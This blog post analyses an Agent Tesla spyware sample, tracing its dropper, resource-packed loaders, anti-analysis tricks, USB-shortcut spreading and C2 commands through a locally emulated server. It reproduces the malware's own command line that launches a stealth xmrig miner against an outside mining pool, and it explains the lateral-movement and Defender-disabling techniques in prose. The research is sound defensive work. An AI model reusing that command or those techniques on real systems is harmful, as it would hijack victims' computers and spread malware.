Featured image of post Inside Malware: Enumerating Capabilities of Agent Tesla Spyware

Inside Malware: Enumerating Capabilities of Agent Tesla Spyware

Discover the inner workings of modern, commodity spyware through emulating command and control communications.

Background

Per MITRE ATT&CK, Agent Tesla is a spyware written using .NET that has been observed since at least 2014. In contrast, CIS ranks Agent Tesla as the 4th most common malware seen in Q1 2025. Its relevance is further supported by 81 files in the Agent Tesla family being available to download from vx-underground, all last modified on July 9, 2025.

Considering Agent Tesla has been categorized as spyware, the presence of command-and-control (C2) is practically guaranteed. The primary goal of this research is to emulate the C2 server locally to enumerate what the spyware does and how some of the more interesting capabilities are achieved in a secure malware analysis environment .

Execution

Preliminary Static Analysis

Of the 81 files available to download, the most interesting proved to be the largest available one. After copying it to the analysis environment, decrypting it, and correct the file extension, a single executable is provided. As preliminary analysis, it was loaded into Ghidra to get an idea of what it does at a high level.

Despite sources identifying the use of .NET, this file contains fully compiled binary code from C++. Entropy analysis shows a relatively small region of data to likely be encrypted or compressed, but the vast majority appears to be normal code without packing. The list of detected strings contains too many entries to closely track the usage of each one, but the presence of plaintext strings indicates that it should be no trouble to find any that may be desirable in the future.

Many functions exist that are overwhelmingly math, but no effort was put towards algorithm identification since it is unnecessary at this stage. At a high level, it is understood that some decompression or decryption takes place for the data previously noted to have high entropy.

Behavioral Analysis

With a vague idea of its structure, it can be deduced that the download sample is a dropper. The compressed/encrypted data is likely the .NET code referenced by other sources, which the dropper processes before distributing it across the system and performing further execution.

With this in mind, several tools from Sysinternals were started to monitor its behavior: process explorer, process monitor, and sysmon. After double-clicking the executable, it appears in the process explorer for only a few seconds before stopping. Soon after, a process for ATB.exe and cracked.exe (disguising itself as Tetris) appear, executing for several seconds before also stopping. Finally, a process for phoneupdate.exe begins followed by a process for cmd.exe.

Image 1: Execution flow starting from the dropper.

The process details for ATB.exe and cracked.exe point to the directory C:/Users/James Royal/AppData/Local/Temp/RarSFX0. The temporary directory is not an uncommon location for malware to implant itself, but the chosen folder name is interesting. This is a legitimate folder name that BitDefender uses while extracting files for analysis. While clearly not the case here, it is a clever name to trick a victim into believing the folder is benign if they just Google “RarSFX0 folder.” Nevertheless, phoneupdate.exe is also found in the temporary directory, not within the RarSFX0 folder.

Reversing Resource Packing

The phoneupdate.exe file is obfuscated using a simple packing method I’ll call “resource packing.” It performs the following steps in the “Loader” module:

  1. Sleep for N seconds.
  2. Get an embedded resource with an unintelligible name.
  3. Decrypt the resource using a static key.
  4. Load the decrypted bytes as .NET assembly.
  5. Create a new instance of the executable assembly.
  6. Invoke the new instance’s “Main” method, passing no parameters.

Image 2: Minimally obfuscated “resource packing” reversal process.

Since the key is statically available, decrypting the resource through debugging is relatively simple. This provides a second file named phoneupdate-miner.dll. This DLL file implements a “resource packing” similar to its parent, albeit with more static code obfuscation and writing the decrypted bytes to disk. This creates two additional files:

  • C:/Users/James Royal/AppData/Roaming/Microsoft/Libs/sihost64.exe
  • C:/Users/James Royal/AppData/Roaming/Microsoft/Libs/WR64.sys

Of the two, sihost64.exe is more interesting, since it again is a .NET file that uses “resource packing” to dynamically load phoneupdate-watchdog.dll. This is the binary code responsible for spawning a crypto miner on the victim’s machine, which was previously seen as the cmd.exe process. More specifically, the following command parameters are used:

cmd.exe -c "C:/Users/James Royal/AppData/Local/Temp/xmrig.exe" --cinit-find-c -B -algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cudo-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.c3pool.com:13333 --user=<omitted> --pass= --cpu-max-threads-hint=20 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu 80 --cinit-stealth

Command and Control Client

During the multi-layer unpacking process, there was no indication of a C2 server in the files. This leaves ATB.exe as the primary suspect, but it immediately crashes upon execution. To make sure no dropped files were missed, the analysis VM was restored to a clean snapshot and the malware was executed again. This time, it was noted that a process for phone.exe appeared for a brief moment before being killed. The process details show that the executable was located in the temporary directory, but it is no longer there. So, the process was repeated for a third time, quickly copying the file to a different directory once it appeared.

This is yet another .NET binary file, but does not include any packing nor meaningful obfuscation. Instead, dnSpy shows that the process names itself svchost.exe and contains well-decompiled code for numerous tasks, ranging from anti-analysis methods to command and control. The modules are as follows:

Module Purpose
svchost Handler for C2 communications, all in the MainController class.
svchost.Antis Anti-analysis methods: anti-vm, anti-debug, and anti-antivirus.
svchost.DDOS DDOS methods: ARME, BandwidthFlood, Condis, HTTPGet, PostHTTP, Slowloris, and UDP.
svchost.HTTPSocket General cryptography and networking functions.
svchost.My High-level application functionality: main function, settings object, etc.
svchost.Persistence Persistence methods: scheduled task and on-startup.
svchost.Spreads Lateral movement methods: Dropbox, OneDrive, and USB drives.
svchost.Other Miscellaneous: file writing, clipboard reading, API token reading, key logger, and torrent seeding.

Obviously the most valuable for the goal of this research is the svchost module, since it handles all the communication with the C2 server. However, the methodology of other capabilities will be briefly explored.

Connection Initialization

First, the answer to why this file was deleted soon after its execution. A look at the MainController class shows a function named SelfDestroy. This function performs a very simple task of using the command prompt to briefly pause then delete the file for the current process.

Image 3: Self deletion process of the C2 client.

Using the “Analyze” feature of dnSpy, the callers of SelfDestroy are found to be CommandController, MainController_Load, and UpdateClient. The call in UpdateClient is intuitively performed so that an updated version can take its place. Likewise, the call in CommandController is intuitive once briefly read over to be the action performed when receiving the “Uninstall” command.

That leaves the MainController_Load calls, which happens as the result of a failed sanity check. More specifically, if a call to IsPanel fails or if the client has been blacklisted, then the client destroys itself. By default, the client is not blacklisted, so the content of IsPanel must be understood. It is fairly simple, only performing a GET request from the server on a specified path. If that path returns the text “True”, then IsPanel returns true.

Image 4: Sanity check performed to ensure the C2 server is reachable.

The VM has been offline up to this point, so the GET request never reaches the server, thus resulting in a self-destruction. The IP address of the server is set at the beginning of the MainController constructor, and can be trivially patched to a local IP address. The process of creating that server will be covered in the next major section.

Image 5: Patched C2 server IP address to a local system.

Anti-Analysis Methods

Despite the presence of a few anti-analysis methods, they do not seem to be used. Furthermore, the anti-VM implementation would not be effective even if it were active. In short, the AntiVM class checks if the following files exist, deleting them if they do. Since they are deleted, the malware would run on the fourth execution, even if all three files existed.

  • C:/Windows/System32/vmGuestLib.dll
  • C:/Windows/vboxmrxnp.dll
  • SbieDll.dll at any path loadable by kernel32.dll::LoadLibrary

The Anti_Debugging class implements a more robust anti-VM technique, where the system’s manufacturer is queried. If it contains “vmware,” “VirtualBox,” or “microsoft corporation” and “VIRTUAL,” then a flag is raised. On a more debugging-related capability, a blacklist of applications will be killed if they are detected as a running process. More nuanced checks confirm the disk size is at least 61 GB and that Windows XP is not being used.

Image 6: List of blacklisted applications.

Lastly, an attempt to disable Windows Defender is made by editing the appropriate registry keys and Powershell commands in the DisableWD class. Even if this code were to run, windows-defender-remover was used while configuring the VM, which uses the same commands and registry edits.

Lateral Movement

Three methods of lateral movement exist for the C2 client. Two are straightforward, simply copying itself to any Dropbox folders and OneDrive folders using names of applications found in the C:\Program Files directory. That ultimately relies on a curious user running an unknown file a different system, but does pose as a potential threat in lateral movement since it is possibly a trusted name.

A much more sinister lateral movement method is the way USB drives are handled. First, all plugged-in USB drives are identified by enumerating available disks checking for free space and if it is removable or a CD ROM device. For all locations matching those criteria, the malware copies itself onto the device as a hidden file. Next, all LNK (shortcut) files on the top-level of the drive are identified. Each LNK file is replaced with file by the same name that spawns a command prompt to execute the hidden malware on the drive. Furthermore, the icon of the shortcut is set as the default icon, presumably to change the icon from the command prompt icon. This method enables users to execute the malware while attempting to execute something that is already trusted.

Command and Control Server

While it is possible to go through the enormous function that is responsible for C2 communications, it is easier and more fun to see the effects using a local C2 server instead. As noted earlier, the IP address of the server is trivially patched to a local address instead. This allows for testing without the exfiltration of data to an untrusted server. Even if all the data on the analysis VM is worthless, it is worthwhile not to push your luck.

Framework

Ultimately, a C2 server is just a server: data comes in and data goes out. This means that a lot of work for a C2 server is just the development of a robust server that allows for the asynchronous deployment of commands to a target client. Only once that is done can the malware-specific details be worked out, such as the way incoming data is parsed or commands formatted.

To accommodate this, a minimal C2 server was developed in Python using sockets. It is not a fully-modular platform at the moment, but the idea is to have the barebones server handle the connections, data display, and command dispatch while malware-specific modules handle the parsing and mapping of incoming data and formatting of outgoing data. For now, the Agent Tesla specific code is in its own file to allow for modular functionality later on.

The framework is available on my GitHub. Modules for specific malware will not be included, since that effectively allows for the malware to be used in the wild.

Image 7: Snipping of the C2 server interface after dispatching Ping, Screenshot, and Close commands.

Command Discovery

As seen Image 7, the commands of the C2 server must be known in order to implement the malware’s module. To achieve this, all source code in the CommandController function of the MainController class was copied into an independent text file. Then, to make processing just a little easier, all leading tabs were removed from the C# code.

The commands are parsed using a simple string comparison, making it easy to programmatically identify them in the static code. The following Python script was used to print all possible commands in alphabetical order:

with open('CommandController.cs', 'r') as f:
    contents = f.read().split('\n')

commands = []
for line in contents:
    if 'Operators.CompareString(text, "' in line:
        commands.append(line.split('"')[1])

print('\n'.join(sorted(commands)))

Given that all commands are in plain English, their function is straight forward. For example, Screenshot takes a screenshot of the desktop and uploads it to the server. Some more interesting command like TorrentSeeder and StealCookie rely on the presence of extra software on the system in order to work (in this case, a torrent client and Firefox respectively).

Less obvious from only the names of the commands is that some rely on external DLL files to operate. For example, StealPassword requires a PasswordStealer.dll file to be downloaded from the server’s /plugin route, which is then executed. This modular aspect not only makes the malware extensible, but hinders static analysis; the method used to steal passwords is not known without the extra DLL file.

Summary

Agent Tesla may be 11 years old, but this sample proves that it is still evolving. Layered resource packing and a modular C2 infrastructure is something usually seen in mature malware families. The dropper was seen to perform a stealthy execution of the C2 client and fallback on a persistent crypto miner, both cleverly named to disguise themselves from average victims.

Built with Hugo
Theme Stack designed by Jimmy